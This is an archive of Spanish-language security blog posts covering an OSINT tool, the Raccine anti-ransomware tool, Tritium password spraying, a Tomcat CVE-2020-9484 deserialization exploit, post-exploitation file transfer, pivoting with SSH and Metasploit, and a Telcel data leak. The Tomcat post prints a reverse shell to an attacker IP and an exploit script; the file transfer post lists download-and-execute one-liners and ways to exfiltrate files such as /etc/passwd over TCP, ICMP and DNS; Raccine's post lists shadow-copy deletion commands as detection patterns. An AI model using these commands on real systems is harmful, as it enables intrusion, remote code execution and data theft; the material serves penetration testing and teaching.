Hoy os presentamos una herramienta muy útil en la parte de recolección de información. SpiderFoot es una herramienta OSINT, que puedes descargar aquí.
Esta herramienta OSINT la podemos usar en el momento de recolectar información en una auditoría. Con SpiderFoot, podremos hacer escaneos sobre un dominio, una web, una ip, un mail o una red. En la pantalla principal podremos ver varias opciones, como comenzar un nuevo escaneo, ver escaneos realizados o configurarlo en settings como nosotros queramos. Una vez que configuremos o dejemos por defecto la configuración de la herramienta, podremos hacer nuestro primer escaneo. Nos aparece la descripción, el objetivo y podemos configurar lo que queramos. Si dejamos ALL por defecto, nos sacará toda la información que recolecte, pero el escaneo será más lento. Una vez comenzado el escaneo, veremos una pantalla similar a esta: Aquí nos indica el estado del escaneo. En este caso, podemos observar que está en modo comienzo, donde nos lo indica con el status: starting. Una vez que el escaneo comienza, aparecerá el estado Scanning y, una vez finalice, aparecerá el indicador Finished. Los resultados aparecerán de la siguiente forma: Si pasamos el cursor por encima de cualquier barra, nos dará información de lo recolectado. En la pestaña de SCANS, podremos ver los scaneos realizados, así como sus resultados y poder explotarlos.viernes, 22 de enero de 2021
Sencilla protección contra ransomware mediante Raccine
Muchas familias de ransomware intentan mediante vssadmin borrar todas las shadow copies del sistema, ya sabéis, las instantáneas que va tomando Windows para poder volver a un punto de restauración en caso necesario. Es decir, intentan que la víctima no pueda tirar de ningún backup. ¿Qué pasaría si pudiéramos interceptar ese intento y terminar el proceso que lo invoca? Pues esto es lo que hace la herramienta Raccine del archifamoso Florian Roth aka Neo23x0.
Funcionamiento
- Se intercepta la llamada a vssadmin.exe (y wmic.exe) y se pasa a raccine.exe como debugger (vssadmin.exe delete shadows se convierte en raccine.exe vssadmin.exe delete shadows)
- Luego se procesan los argumentos de la línea de comandos y se buscan combinaciones maliciosas usando reglas de Yara.
- Si no se puede encontrar una combinación maliciosa, se crea un nuevo proceso con los parámetros originales de la línea de comandos.
- Si
se encuentra una combinación maliciosa, se recopilan todos los PID de
los procesos principales y comienza a matarlos. Raccine
muestra una ventana de línea de comandos con los PID eliminados durante 5
segundos, lo loggea en el registro de eventos de Windows y luego sale.
Ventajas:
- El método es bastante genérico.
- No tenemos que reemplazar un archivo de sistema (vssadmin.exe o wmic.exe), lo que podría ocasionar problemas de integridad y podría romper nuestra vacuna cada vez que se parchee
- Permite usar reglas YARA para buscar parámetros maliciosos en la línea de comandos
- Los cambios son fáciles de deshacer
- Se ejecuta en Windows 7/Windows 2008 R2 o superior
- No se requiere un ejecutable en ejecución o un servicio adicional (sin agente)
Desventajas/Puntos ciegos
- El uso legítimo de vssadmin.exe para eliminar shadow copies (o cualquier otra combinación blacklisteada) ya no es posible
- Elimina todos los procesos que intentaron invocar vssadmin.exe, lo que podría ser un proceso de copia de seguridad (falso positivo)
- Esto no detectará métodos en los que el proceso malicioso no sea uno de los procesos en el árbol que ha invocado vssadmin.exe (por ejemplo, a través de schtasks)
Combinaciones maliciosas:
- delete y shadows (vssadmin, diskshadow)
- resize y shadowstorage (vssadmin)
- delete y shadowstorage (vssadmin)
- delete y shadowcopy (wmic)
- delete y catalog y -quiet (wbadmin)
- win32_shadowcopy o element de una lista de conandos encodeados (powershell)
- recoveryenabled (bcedit)
- ignoreallfailures (bcedit)
Lista de Powershell de comandos encodeados: JAB, SQBFAF, SQBuAH, SUVYI, cwBhA, aWV4I, aQBlAHgA y muchos más
Ejemplos de uso
Emotet sin Raccine - Link
Emotet con Raccine - Link (ignorar la actividad del proceso que está relacionada con la instalación de Raccine)
La infección se corta de raíz.
Detalles de la instalación y más info en: https://github.com/Neo23x0/Raccine
jueves, 21 de enero de 2021
Tritium: una herramienta en go para password spraying
Tal y como rezan en su Github incorporan las siguientes funcionalidades:
- previene el bloqueo de usuarios del dominio
- integra la enumeración de nombres de usuario con el proceso de spray de contraseñas (ambas son funcionalidades separadas)
- capacidad de hacer spray de contraseñas de forma recursiva en lugar de ejecutar un simple spray
- puede hacer resume/continuar el ataque e ignora las cuentas previamente comprometidas
Tritium permite lo mencionado anteriormente y más. Por ejemplo la enumeración de usuarios ya no desperdiciará un intento de login previo porque lo usará para generar un archivo de usuarios válidos. Tritium también le da al usuario la capacidad de pasarle un archivo de contraseñas para hacer spray de forma recursiva. Y sobretodo tiene la funcionalidad como comentábamos de que detecta si un dominio está bloqueando cuentas al guardar el estado y detiene el ataque si se bloquean 3 cuentas consecutivas.
Repo: https://github.com/S4R1N/Tritium
Instalación: go get S4R1N/Tritium
Uso:
./Tritium -h
___________ .__ __ .__
\__ ___/______|__|/ |_|__|__ __ _____
| | \_ __ \ \ __\ | | \/ \
| | | | \/ || | | | | / Y Y \
|____| |__| |__||__| |__|____/|__|_|__/ v 0.4
Author: S4R1N, alfarom256
Required Params:
-d The full domain to use (-domain targetdomain.local)
-dc Domain controller to authenticate against (-dc washingtondc.targetdomain.local)
-dcf File of domain controllers to authenticate against
-u Select single user to authenticate as (-user jsmith)
-uf User file to use for password spraying (-userfile ~/home/users.txt)
-p Password to use for spraying (-password Welcome1)
Optional:
-help Print this help menu
-o Tritium Output file (default spray.json)
-w Wait time between authentication attempts [Default 1] (-w 0)
-jitter % Jitter between authentication attempts
-rs Enable recursive spraying
-ws Wait time between sprays [Default 3600] (-ws 1800)
-pwf Password file to use for recursive
-res Continue a password spraying campaign
-rf Tritium Json file
Etiquetas: Herramientas, Password, Password Spraying, Tritium
viernes, 15 de enero de 2021
CVE-2020-9484: RCE mediante deserialización en Apache Tomcat con PersistentManager
Eso sí, para que el servidor Tomcat objetivo sea vulnerable además los administradores tienen que haber configurado el uso de PersistentManager editando el archivo conf/context.xml, ya que por defecto Tomcat se ejecutará con StandardManager.
- StandardManager mantendrá las sesiones en la memoria. Si tomcat se cierra correctamente, almacenará las sesiones en un objeto serializado en el disco (llamado "SESSIONS.ser" por defecto).
- PersistentManager hace lo mismo, pero con un extra: hacer swapping de sesiones inactivas/idle. Si una sesión ha estado inactiva durante x segundos, se moverá al disco. Es una forma de reducir el uso de memoria.
Cuando Tomcat recibe una solicitud HTTP con una cookie JSESSIONID, le pedirá al Manager que verifique si esa sesión ya existe. Como se controla el JSESSIONID ¿qué pasa por ejemplo si lo seteamos a un valor como "JSESSIONID=../../../../../../tmp/12345"?
- Tomcat solicita al Manager que verifique si existe una sesión con el ID de sesión "../../../../../../tmp/12345"
- Primero verificará si tiene esa sesión en la memoria.
- Si no es así y está configurado PersistentManager verificará si tiene la sesión en el disco.
- Verificará en el directorio + sessionid + ".session", por lo que se evalúa como “./session/../../../../../../tmp/12345.session“
- Si el archivo existe, lo deserializará y analizará la información de la sesión.
Entonces, ya ha os habéis imaginado que necesitamos cargar un objeto serializado malicioso en un path interno de la máquina para que podamos recuperarlo a través de la cookie JSESSIONID y poder conseguir RCE.
La aplicación web devolverá un error HTTP 500 cuando se explote, porque encontrará un objeto serializado malicioso en lugar de uno que contiene información de sesión como se espera.
Así que amos a ello. Por ejemplo empezaremos con un script en bash para una shell reversa en el puerto 1337:
payload.sh
#!/bin/bash
bash -c "bash -I >& /dev/tcp/<MY KALI IP>/1337 0>&1"
A continuación, usando ysoserial, crearemos tres archivos, uno para descargar nuestro payload, otro para darle permisos 777 y finalmente otro para ejecutarlo.
downloadPayload.session
java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections2 'curl http://
#!/bin/bash
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/downloadPayload' -F 'image=@downloadPayload.session'
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/downloadPayload'
sleep 1
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/chmodPayload' -F 'image=@chmodPayload.session'
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/chmodPayload'
sleep 1
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/executePayload' -F 'image=@executePayload.session'
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/executePayload'
Ahora, con todos estos archivos en el mismo directorio, levantaremos un web server para servirlos al objetivo y un listener para la sesión reversa. Que contenga una versión afectada, en concreto:
Apache Tomcat 10.x <10.0.0-M5 Apache Tomcat 9.x <9.0.35 Apache Tomcat 8.x <8.5.55 Apache Tomcat 7.x <7.0.104
El atacante puede subir un archivo arbitrario, tiene control sobre el nombre del archivo y conoce la ubicación donde se sube. El PersistentManager está habilitado y está usando un FileStore El PersistentManager está configurado con sessionAttributeValueClassNameFilter="null" (el valor predeterminado a menos que se use un SecurityManager) o un filtro lo suficientemente laxo para permitir que el objeto proporcionado por el atacante sea deserializado
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9484 https://github.com/masahiro331/CVE-2020-9484 https://medium.com/@romnenko/apache-tomcat-deserialization-of-untrusted-data-rce-cve-2020-9484-afc9a12492c4 https://www.redtimmy.com/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/ https://meterpreter.org/cve-2020-9484-apache-tomcat-remote-code-execution-vulnerability-alert/ https://tomcat.apache.org/tomcat-9.0-doc/api/org/apache/catalina/session/PersistentManager.html https://www.incibe-cert.es/alerta-temprana/avisos-seguridad/vulnerabilidad-ejecucion-remota-codigo-apache-tomcat-0 https://www.programmersought.com/article/15344418599/
Etiquetas: Apache, CVE, PersistentManager, RCE, Tomcat, Vulnerabilidad, Vulnerabilidades
sábado, 9 de enero de 2021
Técnicas para transferir archivos durante una post-explotación
Normalmente en cualquier ejercicio de red team cuando se consigue acceso a un sistema tendremos que ingeniárnoslas para subir distintos archivos, continuando así con el proceso de post-explotación.
Recientemente he visto un paper muy completo en Seebug del chino xax007 con un montón de técnicas que siempre conviene tener a mano:
Crear un servidor HTTP
Los siguientes comandos iniciarán el servicio HTTP en el directorio actual, en el puerto 1337.
python2:
python -m SimpleHTTPServer 1337
python3:
python -m http.server 1337
Ruby:
ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start'
Ruby 1.9.2+:
ruby -run -e httpd . -p 1337
Perl:
perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'
PHP 5.4+:
php -S 0.0.0.0:1337
busybox httpd:
busybox httpd -f -p 8000
Descargar y ejecutar archivos desde el servidor HTTP
A continuación se muestran algunas maneras de descargar y ejecutar archivos desde un servidor HTTP utilizando las propias herramientas del sistema en sistemas Windows y Linux.
WINDOWS
powershell:
powershell (new-object System.Net.WebClient).DownloadFile('http://1.2.3.4/5.exe','c:\download\a.exe');start-process 'c:\download\a.exe'
Certutil:
certutil -urlcache -split -f http://1.2.3.4/5.exe c:\download\a.exe&&c:\download\a.exe
bitsadmin:
bitsadmin /transfer n http://1.2.3.4/5.exe c:\download\a.exe && c:\download\a.exe
Los siguientes comandos sólo descargarán el fichero indicado:
regsvr32:
regsvr32 /u /s /i:http://1.2.3.4/5.exe scrobj.dll
LINUX
Curl:
curl http://1.2.3.4/backdoor
Wget:
wget http://1.2.3.4/backdoor
awk:
awk 'BEGIN {
RS = ORS = "\r\n"
HTTPCon = "/inet/tcp/0/127.0.0.1/1337"
print "GET /secret.txt HTTP/1.1\r\nConnection: close\r\n" |& HTTPCon
while (HTTPCon |& getline > 0)
print $0
close(HTTPCon)
}'
Usar un servidor HTTP con el método PUT
Con nginx:
mkdir -p /var/www/upload/ # crear dir
chown www-data:www-data /var/www/upload/ # cambiar permisos
cd /etc/nginx/sites-available # entrar al dir del virtual host de nginx
# escribir la config al fichero file_upload
cat < file_upload
server {
listen 8001 default_server;
server_name kali;
location / {
root /var/www/upload;
dav_methods PUT;
}
}
EOF
# escritura completada
cd ../sites-enable # ir al dir de inicio
ln -s /etc/nginx/sites-available/file_upload file_upload # activar file_upload
systemctl start nginx # iniciar Nginx
Con Python:
Por ej. HTTPutServer.py:
# ref: https://www.snip2code.com/Snippet/905666/Python-HTTP-PUT-test-server
import sys
import signal
from threading import Thread
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
class PUTHandler(BaseHTTPRequestHandler):
def do_PUT(self):
length = int(self.headers['Content-Length'])
content = self.rfile.read(length)
self.send_response(200)
with open(self.path[1:], "w") as f:
f.write(content)
def run_on(port):
print("Starting a HTTP PUT Server on {0} port {1} (http://{0}:{1}) ...".format(sys.argv[1], port))
server_address = (sys.argv[1], port)
httpd = HTTPServer(server_address, PUTHandler)
httpd.serve_forever()
if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage:\n\tpython {0} ip 1337".format(sys.argv[0]))
sys.exit(1)
ports = [int(arg) for arg in sys.argv[2:]]
try:
for port_number in ports:
server = Thread(target=run_on, args=[port_number])
server.daemon = True # Do not make us wait for you to exit
server.start()
signal.pause() # Wait for interrupt signal, e.g. KeyboardInterrupt
except KeyboardInterrupt:
print "\nPython HTTP PUT Server Stoped."
sys.exit(1)
Modo de funcionamiento:
$ python HTTPutServer.py 10.10.10.100 1337
Starting a HTTP PUT Server on 10.10.10.100 port 1337 (http://10.10.10.100:1337) ...
Subir archivos al HTTP PUT Linux con Curl:
$ curl --upload-file secret.txt http://ip:port/
Con Wget:
$ wget --method=PUT --post-file=secret.txt http://ip:port/
Windows Powershell:
$body = Get-Content secret.txt
Invoke-RestMethod -Uri http://ip:port/secret.txt -Method PUT -Body $body
Transferencia de ficheros usando Bash /dev/tcp
Primero necesitamos levantar un puerto en el equipo donde recibiremos el archivo:
nc -lvnp 1337 > secret.txt
Desde el equipo que envía:
cat secret.txt > /dev/tcp/ip/port
Transferencia de archivos usando el protocolo SMB
Crear un servidor SMB simple Para configurar el servidor SMB necesitaremos usar Impacket: https://github.com/SecureAuthCorp/impacket.
Impacket está instalado por defecto en Kali Linux (smbserver.py).
Sintaxis: impacker-smbserver ShareName SharePath
Ejemplo: impacker-smbserver share `pwd`
Descargar archivos desde el servidor SMB:
copy \\IP\ShareName\file.exe file.exe
Subir archivos al servidor SMB:
net use x: \\IP\ShareName
copy file.txt x:
net use x: /delete
Transferencia de archivos usando el comando whois:
Receptor Host B:
nc -vlnp 1337 | sed "s/ //g" | base64 -d
Envío desde Host A:
whois -h 127.0.0.1 -p 1337 `cat /etc/passwd | base64`
Transferencia de archivos usando el comando ping:
Receptor Host B:
Guardar archivo ping_receiver.py
import sys
try:
from scapy.all import *
except:
print("Scapy not found, please install scapy: pip install scapy")
sys.exit(0)
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 8:
data = pkt[ICMP].load[-4:]
print(f'{data.decode("utf-8")}', flush=True, end="", sep="")
sniff(iface="eth0", prn=process_packet)
Y ejecutarlo:
python3 ping_receiver.py
Envío desde host A:
xxd -p -c 4 secret.txt | while read line; do ping -c 1 -p $line ip; done
Transferencia de archivos usando el comando dig:
Receptor Host B:
El siguiente código utiliza los módulos scapy de Python, es necesario instalarlos manualmente.
Hay que guardar el código en dns_receiver.py:
try:
from scapy.all import *
except:
print("Scapy not found, please install scapy: pip install scapy")
def process_packet(pkt):
if pkt.haslayer(DNS):
domain = pkt[DNS][DNSQR].qname.decode('utf-8')
root_domain = domain.split('.')[1]
if root_domain.startswith('gooogle'):
print(f'{bytearray.fromhex(domain[:-13]).decode("utf-8")}', flush=True, end='')
sniff(iface="eth0", prn=process_packet)
Y ejecutarlo:
python3 dns_receiver.py
Transferencia de archivos usando netcat:
Receptor:
nc -l -p 1337 > 1.txt
Enviador:
cat 1.txt | nc -l -p 1337
o
nc 10.10.10.200 1337 < 1.txt
En algunos entornos en los que no hay nc se puede usar Bash's /dev/tcp para recibir el fichero:
cat < /dev/tcp/10.10.10.200/1337 > 1.txt
Etiquetas: Tecnicas
Taller de pivoting: túneles SSH
Local port forwarding
El "reenvío de puertos local permite acceder a los recursos de la red local que no están expuestos desde el exterior (ya sea Internet, otra red externa o incluso para el acceso a servicios que están restringidos y accesibles solo desde el host local).
Por ejemplo, imaginad que queremos acceder al servicio RDP del servidor de la víctima. Para ello levantaremos un puerto local en la máquina del atacante que tunelizará directamente con el del servidor:
ssh -L local_port:remote_address:remote_port username@server.com
ssh -L 3389:192.168.2.3:3389 user@192.168.2.3
De esta manera, podremos establecer una sesión de escritorio remoto simplemente lanzando nuestro cliente así:
rdesktop 127.0.0.1
Aunque bueno... si estamos hablando de RDP se trata de Windows y sería bastante "exótico" que corriera un servidor SSH... así que si hemos comprometido previamente el servidor mediante cualquier otra vulnerabilidad podemos subir el binario plink.exe (la versión de consola de putty) y ejecutar:
plink.exe -i clave.ppk -L *:3389:localhost:3389 user@192.168.2.3
Otras opciones interesantes a tener en cuenta son:
-g : permite que otros clientes de la LAN puedan conectarse al puerto de la máquina del atacante. Por defecto, solo se permite en local.
-f : pone en background el proceso una vez que se haya establecido con éxito la sesión SSH. Muy util para que el puerto permanezca activo aún cuando se cierre la sesión interactiva.
Dynamic port forwarding
El "reenvío de puertos dinámico" funciona de manera similar a un proxy, de hecho, el cliente SSH creará un proxy SOCKS que se puede configurar en las aplicaciones para usarse. Es similar al reenvío local, pero
en lugar de a un sólo puerto, TODO el tráfico enviado a través del proxy será enviado a su vez a través del servidor SSH.
Para usar el reenvío dinámico tendremos que usar el argumento -D:
ssh -D local_port username@server.com
ssh -D 127.0.0.1:9050 root@192.168.2.2
A partir de ese momento tendremos escuchando en la máquina del atacante un proxy SOCKS en el puerto 9050 y podemos usar cualquier programa (un navegador por ejemplo) para que lo utilice. Sin embargo, si el programa no soporta configurar proxy podremos aún forzarlo mediante proxychains. Para ello bastará configurar el fichero /etc/proxychains.conf añadiendo la línea: "socks4 127.0.0.1 9050" y luego poniendo delante "proxychains" cuando usemos la herramienta que necesitemos:
proxychains rdesktop 192.168.2.3
Remote port forwarding
El "reenvío de puertos remoto" también llamado reverso o inverso, es lo contrario al local. Es decir, se utiliza para hacer accesible un puerto del servidor del atacante desde el servidor comprometido.
Veamos también su sintaxis y uso:
ssh -R remote_port:local_address:local_port username@server.com
ssh -R 8888:192.168.2.33:1234 bob@ssh.youroffice.com
Con el comando anterior, cuando alguien acceda al puerto 8888 del servidor remoto estará siendo redirigido realmente al puerto 1234 de la máquina del atacante.
Sin embargo, para que esto funcione tendremos que añadir la línea "GatewayPorts yes" en el fichero de configuración /etc/ssh/sshd_config.
Bonus: VPN sobre SSH
Desde la versión 4.3 de openssh, es posible tunelizar el tráfico de red de la capa 3 a través de un canal ssh establecido. Esto tiene una ventaja sobre un túnel típico de tcp porque tenemos el control del tráfico IP. De esta manera por ejemplo podemos realizar un SYN-scan con nmap y usar sus herramientas directamente sin recurrir a proxychains u otras herramientas de proxificación.
Esta VPN se realiza a través de la creación de dispositivos tun en el lado del cliente y del servidor y la transferencia de datos entre ellos a través de la conexión ssh. Esto es bastante simple, pero se necesita root en ambas máquinas ya que la creación de dispositivos tun es una operación privilegiada.
Estas líneas deben estar presentes en su archivo /etc/ssh/sshd_config (en el lado del servidor):
PermitRootLogin yes
PermitTunnel yes
El siguiente comando en el cliente creará un par de dispositivos tun en el cliente y el servidor:
ssh username@server -w any:any
Con el parámetro -w establecemos el túnel entre los dispositivos especificados. Si ponemos "any" como en el ejemplo el sistema cogerá el primer interfaz tun disponible.
Un vez creado el túnel procederemos a configurar los interfaces tun.
En el cliente:
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0
En el servidor:
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0
Y tendremos que configurar el reenvío IP y el NAT en el servidor:
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
Ahora podemos hacer que el peer 1.1.1.1 sea la puerta de enlace predeterminada o enrutar un host o una red específicas a través de él:
route add -net 10.0.0.0/16 gw 1.1.1.1
En el ejemplo, la interfaz de red externa del servidor es eth0 y los dispositivos tun creados recientemente en ambos lados son tun0.
Truco del día
Seguramente os habréis dado cuenta que cada vez que creamos un túnel con SSH también obtenemos una shell. Esto no suele ser necesario cuando solo intentamos crear un túnel. Para evitar esto, podemos ejecutar SSH con los parámetros -nNT, como el siguiente ejemplo, lo que hará que SSH no asigne un tty y solo reenvíe los puertos.
$ ssh -nNT -L 9000: imgur.com: 80 user@example.com
-N : esta opción es la que indica que no se abra la shell, solo reenvío de puertos.
-n : se utiliza cuando ssh se ejecuta en background y previene que se lea de stdin.
-t : desactiva pseudo-tty
Fuentes:
- A Red Teamer's guide to pivoting
- SSH Tunnel - Local and Remote Port Forwarding Explained With Examples
- The Black Magic Of SSH / SSH Can Do That?
- How to Use SSH Tunneling to Access Restricted Servers and Browse Securely
Taller de pivoting: Metasploit
En este post vamos a suponer que nosotros somos el atacante y hemos conseguido una sesión de meterpreter sobre la máquina de la víctima.
En una auditoría de caja negra o una intrusión real, lo normal es que no tengamos nada de información del entorno por lo que tendremos que llevar a cabo el descubrimiento y la enumeración inicial. Para ello empezaremos con arp_scanner, un script de meterpreter muy útil para identificar los host vivos dentro de la subred:
meterpreter > run arp_scanner -r 192.168.2.0/24
[*] ARP Scanning 192.168.2.0/24
[*] IP: 192.168.2.1 MAC 64:68:c:45:71:88
[*] IP: 192.168.2.43 MAC 4c:f:6e:e9:7f:16
En el caso de que partamos de un equipo Windows, una buena opción es ver las conexiones y los puertos abiertos mediante el módulo de gathering tcp_netstat:
msf > use post/windows/gather/tcpnetstat
msf post(tcpnetstat) > sessions
...sessions...
msf post(tcpnetstat) > set SESSION <session-id>
msf post(tcpnetstat) > show options
...show and set options...
msf post(tcpnetstat) > run
O si el target inicial es Linux tenemos otro módulo muy completo Linux Gather Network Information que recopila información de red de las reglas de IPTables del sistema de destino, interfaces, información de la red inalámbrica, puertos abiertos y de escucha, conexiones de red activas, información DNS e información SSH.
use post/linux/gather/enum_network
msf post(linux/gather/enum_network) > set sessions 5
sessions => 5
msf post(linux/gather/enum_network) > exploit
[-] Post failed: Msf::OptionValidateError The following options failed to validate: SESSION.
[*] Post module execution completed
msf post(linux/gather/enum_network) > show options
Module options (post/linux/gather/enum_network):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on.
msf post(linux/gather/enum_network) > set session 5
session => 5
msf post(linux/gather/enum_network) > run
Para seguir descubriendo información de la red objetivo y ver otras redes adyacentes, puede ser interesante usar un sniffer. Metasploit también incluye un módulo que puede esnifar paquetes del sistema de destino sin escribir en el sistema de archivos o instalar ningún controlador. Además, el módulo excluye automáticamente su propio tráfico de control de la captura de paquetes.
meterpreter > use sniffer
Loading extension sniffer...success.
meterpreter > sniffer_interfaces
1 - 'VMware Accelerated AMD PCNet Adapter' ( type:0 mtu:1514 usable:true dhcp:true
meterpreter > sniffer_start 1 300000
[*] Capture started on interface 1 (300000 packet buffer)
meterpreter > sniffer_stats 1
[*] Capture statistics for interface 1
bytes: 17675
packets: 196
meterpreter > sniffer_dump 1 /tmp/capture.cap
[*] Dumping packets from interface 1...
[*] Wrote 536 packets to PCAP file /tmp/capture.cap
meterpreter > sniffer_stop 1
[*] Capture stopped on interface 1
Y, cómo no, la opción más clásica de descubrimiento de sistemas en el mismo rango de red es el típico escáner de puertos, para lo que Metasploit dispone de un módulo auxiliar con cinco escáneres diferentes para detectar las máquinas presentes y los servicios que corren:
- ack – ACK Firewall Scanner
- ftpbounce – Bounce Port Scanner
- syn – SYN Port Scanner
- tcp – Port Scanner
- xmas – “Xmas” Port Scanner
msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set RHOSTS 192.168.2.43
RHOSTS => 192.168.2.43
msf auxiliary(tcp) > set PORTS 1-1024
PORTS => 1-1024
msf auxiliary(tcp) > run
Ahora bien, si queremos escanear desde Metasploit los servicios pertenecientes a otras máquinas fuera del segmento de red de la máquina comprometida, tendremos que añadir previamente las rutas correspondientes:
meterpreter > route add 192.168.33.0/24 5
[*] Route added
meterpreter > route print
IPv4 Active Routing Table
=========================
Subnet Netmask Gateway
------ ------- -------
192.168.33.0 255.255.255.0 Session 5
[*] There are currently no IPv6 routes defined.
Adicionalmente disponemos de autoroute automatiza la adicción de las rutas asociadas con la sesión Meterpreter especificada a la tabla de enrutamiento de Metasploit.
meterpreter > run autoroute -s 192.168.33.0/24
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 192.168.33.0/255.255.255.0...
[+] Added route to 192.168.33.0/255.255.255.0 via 10.10.10.65
[*] Use the -p option to list all active routes
meterpreter > run autoroute -p
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
192.168.33.0 255.255.255.0 Session 5
Luego para que otras aplicaciones tengan acceso a las rutas, se necesita un poco más de configuración. Esto implica la configuración del módulo de proxy Socks4a de Metasploit y el uso de Proxychains junto con las otras aplicaciones.
use auxiliary/server/socks4a
set SRVHOST 127.0.0.1
set LPORT 1080
exploit -j
El fichero de configuración de Proxychains está localizado por defectp en /etc/proxychains.conf:
socks4 127.0.0.1 1080
Ahora podemos combinar Proxychains con otras aplicaciones como Nmap, Nessus, Firefox y otras para escanear o acceder a máquinas y recursos a través de las rutas Metasploit.
$ sudo proxychains nmap -n -sT- sV -PN -p 445 10.10.125.0/24
A veces no obtenemos buenos resultados con algunos programas y proxychains. Para estos casos, podemos reenviar los puertos de una determinada máquina a nuestro ordenador. Al ejecutar portfwd en un host comprometido con acceso tanto al atacante como a la red (o sistema) de destino, podemos básicamente reenviar conexiones TCP a través de esta máquina.
msf > sessions -i 1
meterpreter > portfwd add -l 8000 -p 80 -r 192.168.15.1
[*] Local TCP relay created: 0.0.0.0:8000 <-> 192.168.15.1:80
meterpreter > portfwd add -l 8010 -p 80 -r 192.168.15.5
meterpreter > portfwd add -l 25000 -p 22 -r 192.168.15.2
[*] Local TCP relay created: 0.0.0.0:25000 <-> 192.168.15.2:22
Ahora, abrimos un navegador local y podemos acceder a localhost con la siguiente URL:
http://127.0.0.1:8000
Y hasta aquí esta primera entrada de pivoting mediante Metasploit. En las siguientes entradas veremos más técnicas y herramientas para pivotar y poder así conseguir movimiento lateral y avanzar en intrusiones.
Etiquetas: Metasploit
sábado, 2 de enero de 2021
Se filtran supuestas bases de datos de Telcel en México: revelan nombre, dirección y hasta datos bancarios de más 500 mil usuarios
Vaya forma de terminar el 2020 para Telcel y más de medio millón de sus usuarios que han vista filtrada gran parte de su información sensible, como nombre, dirección, RFC y hasta datos bancarios.
Quizás la filtración más grande en la historia de Telcel
El usuario de Twitter @hiramcoop, co-fundador de la firma consultora de ciberseguridad Seekcurity, reportó en una publicación la filtración de dos supuestas bases de datos de usuarios de Telcel en México. La primera, según la publicación, contiene la información de casi 700 mil registros de usuarios y la segunda tiene "36 mln".
Captura de pantalla de una las publicaciones de la base de datos |
Según el reporte, el nombre del archivo hace referencia a que la base de datos contiene la información de usuarios de planes de renta del año 2016 de la región 1 de Telcel, correspondiente a los estados de Baja California, Baja California Sur y el municipio San Luis Río Colorado, Sonora.
Por otro lado, Hiram Alejandro tuvo acceso a la primera base de datos y menciona que en realidad contiene 588, 350 registros, 111,000 menos de los 699,350 prometidos por los cibercriminales que publicaron la información. Más importante aún, la base de datos tiene registro de información sensible que va desde nombre, dirección y RFC hasta modelo e IMEI del smartphone en uso, números de tarjetas y números de contactos personales.
El archivo incluye datos como: Nombre completo de personas físicas, nombre de personas morales, número de teléfono, marca y modelo de teléfono, RFC, domicilio, IMEI, tel de contacto, números de tarjetas de crédito, nombres de contactos personales pic.twitter.com/Rvwhv4qGyn
— Hiram Alejandro (@hiramcoop) December 31, 2020
Hiram se dio a la tarea de validar la información con ayuda de bases de datos públicas y dio varios ejemplos que apuntan a que la información es verídica, coincidiendo nombre, número y ubicación de tres usuarios que aparecen en la base de datos.
Para validar si los número son reales, tomamos algunos # de teléfono y lo buscamos en bases de datos públicas
— Hiram Alejandro (@hiramcoop) December 31, 2020
El archivo publicado indica que el nombre de un usuario dueño de 1 número de teléfono se llama "Edna", su dirección física es en Tijuana. pic.twitter.com/SVatvUCD63
Sin más detalles por ahora, las pruebas apuntan a que esta es quizás la filtración más grande en la historia de Telcel. Mientras tanto, desde Xataka México nos hemos puesto en contacto con Telcel para preguntar por una postura al respecto de este delicado tema, y en cuanto tengamos respuesta actualizaremos esta publicación.
Etiquetas: Filtraciones